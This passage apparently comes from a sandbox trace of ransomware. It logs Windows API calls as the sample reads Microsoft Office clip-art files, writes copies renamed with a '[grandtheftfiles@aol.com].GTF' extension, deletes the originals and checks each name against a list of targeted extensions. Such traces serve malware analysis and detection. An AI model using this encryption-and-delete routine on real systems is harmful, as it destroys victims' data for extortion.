	[0158.101] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.102] GetLastError () returned 0x0
	[0158.102] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4ae, lpOverlapped=0x0) returned 1
	[0158.104] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4b0, lpOverlapped=0x0) returned 1
	[0158.104] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.105] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.105] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.105] CloseHandle (hObject=0x4b4) returned 1
	[0158.105] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.105] SetEndOfFile (hFile=0x490) returned 1
	[0158.107] CloseHandle (hObject=0x490) returned 1
	[0158.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.108] lstrlenW (lpString=".doc") returned 4
	[0158.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.108] lstrlenW (lpString=".docx") returned 5
	[0158.108] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0158.108] lstrlenW (lpString=".pdf") returned 4
	[0158.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.108] lstrlenW (lpString=".xls") returned 4
	[0158.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.109] lstrlenW (lpString=".xlsx") returned 5
	[0158.109] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0158.109] lstrlenW (lpString=".ppt") returned 4
	[0158.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString=".zip") returned 4
	[0158.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.109] lstrlenW (lpString=".rar") returned 4
	[0158.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString=".bz2") returned 4
	[0158.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString=".7z") returned 3
	[0158.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString=".dbf") returned 4
	[0158.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString=".1cd") returned 4
	[0158.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString=".jpg") returned 4
	[0158.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.109] lstrlenW (lpString=".doc") returned 4
	[0158.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString=".docx") returned 5
	[0158.109] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0158.109] lstrlenW (lpString=".pdf") returned 4
	[0158.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.109] lstrlenW (lpString=".xls") returned 4
	[0158.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.109] lstrlenW (lpString=".xlsx") returned 5
	[0158.109] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0158.109] lstrlenW (lpString=".ppt") returned 4
	[0158.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.110] lstrlenW (lpString=".zip") returned 4
	[0158.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.110] lstrlenW (lpString=".rar") returned 4
	[0158.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.110] lstrlenW (lpString=".bz2") returned 4
	[0158.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.110] lstrlenW (lpString=".7z") returned 3
	[0158.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.110] lstrlenW (lpString=".dbf") returned 4
	[0158.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.110] lstrlenW (lpString=".1cd") returned 4
	[0158.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.110] lstrlenW (lpString=".jpg") returned 4
	[0158.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.110] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.110] lstrlenW (lpString="J0099182.WMF") returned 12
	[0158.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.111] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3840) returned 1
	[0158.111] CloseHandle (hObject=0x490) returned 1
	[0158.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
	[0158.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.111] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.111] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.112] GetLastError () returned 0x0
	[0158.112] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xf00, lpOverlapped=0x0) returned 1
	[0158.114] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xf10, lpOverlapped=0x0) returned 1
	[0158.115] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.115] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.115] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.115] CloseHandle (hObject=0x4b4) returned 1
	[0158.115] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.115] SetEndOfFile (hFile=0x490) returned 1
	[0158.367] CloseHandle (hObject=0x490) returned 1
	[0158.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.038] lstrlenW (lpString=".doc") returned 4
	[0159.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString=".docx") returned 5
	[0159.038] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0159.038] lstrlenW (lpString=".pdf") returned 4
	[0159.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString=".xls") returned 4
	[0159.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.038] lstrlenW (lpString=".xlsx") returned 5
	[0159.038] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0159.038] lstrlenW (lpString=".ppt") returned 4
	[0159.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.038] lstrlenW (lpString=".zip") returned 4
	[0159.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.038] lstrlenW (lpString=".rar") returned 4
	[0159.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString=".bz2") returned 4
	[0159.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString=".7z") returned 3
	[0159.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.038] lstrlenW (lpString=".dbf") returned 4
	[0159.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.038] lstrlenW (lpString=".1cd") returned 4
	[0159.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".jpg") returned 4
	[0159.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".doc") returned 4
	[0159.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString=".docx") returned 5
	[0159.039] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0159.039] lstrlenW (lpString=".pdf") returned 4
	[0159.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString=".xls") returned 4
	[0159.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.039] lstrlenW (lpString=".xlsx") returned 5
	[0159.039] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0159.039] lstrlenW (lpString=".ppt") returned 4
	[0159.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".zip") returned 4
	[0159.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.039] lstrlenW (lpString=".rar") returned 4
	[0159.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString=".bz2") returned 4
	[0159.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString=".7z") returned 3
	[0159.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".dbf") returned 4
	[0159.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".1cd") returned 4
	[0159.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0159.039] lstrlenW (lpString=".jpg") returned 4
	[0159.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.040] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0159.040] lstrlenW (lpString="J0099192.GIF") returned 12
	[0159.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0159.197] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17964) returned 1
	[0159.197] CloseHandle (hObject=0x4ac) returned 1
	[0159.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220
	[0159.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0159.533] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.534] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.920] GetLastError () returned 0x0
	[0160.920] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x462c, lpOverlapped=0x0) returned 1
	[0160.923] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4630, lpOverlapped=0x0) returned 1
	[0160.924] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.924] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.924] SetEndOfFile (hFile=0x494) returned 1
	[0160.924] CloseHandle (hObject=0x494) returned 1
	[0160.924] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.924] SetEndOfFile (hFile=0x4bc) returned 1
	[0160.927] CloseHandle (hObject=0x4bc) returned 1
	[0160.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0160.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.929] lstrlenW (lpString=".doc") returned 4
	[0160.929] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.929] lstrlenW (lpString=".docx") returned 5
	[0160.929] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0160.929] lstrlenW (lpString=".pdf") returned 4
	[0160.929] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.929] lstrlenW (lpString=".xls") returned 4
	[0160.929] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.929] lstrlenW (lpString=".xlsx") returned 5
	[0160.929] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0160.929] lstrlenW (lpString=".ppt") returned 4
	[0160.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.929] lstrlenW (lpString=".zip") returned 4
	[0160.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.929] lstrlenW (lpString=".rar") returned 4
	[0160.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.929] lstrlenW (lpString=".bz2") returned 4
	[0160.930] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.930] lstrlenW (lpString=".7z") returned 3
	[0160.930] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".dbf") returned 4
	[0160.930] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".1cd") returned 4
	[0160.930] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".jpg") returned 4
	[0160.930] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".doc") returned 4
	[0160.930] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.930] lstrlenW (lpString=".docx") returned 5
	[0160.930] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0160.930] lstrlenW (lpString=".pdf") returned 4
	[0160.930] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString=".xls") returned 4
	[0160.930] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString=".xlsx") returned 5
	[0160.930] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0160.930] lstrlenW (lpString=".ppt") returned 4
	[0160.930] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".zip") returned 4
	[0160.930] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString=".rar") returned 4
	[0160.930] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.930] lstrlenW (lpString=".bz2") returned 4
	[0160.930] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.930] lstrlenW (lpString=".7z") returned 3
	[0160.930] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.930] lstrlenW (lpString=".dbf") returned 4
	[0160.931] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.931] lstrlenW (lpString=".1cd") returned 4
	[0160.931] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.931] lstrlenW (lpString=".jpg") returned 4
	[0160.931] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.931] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0160.931] lstrlenW (lpString="J0099195.GIF") returned 12
	[0160.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0160.932] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=19923) returned 1
	[0160.932] CloseHandle (hObject=0x4bc) returned 1
	[0160.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220
	[0160.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0160.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
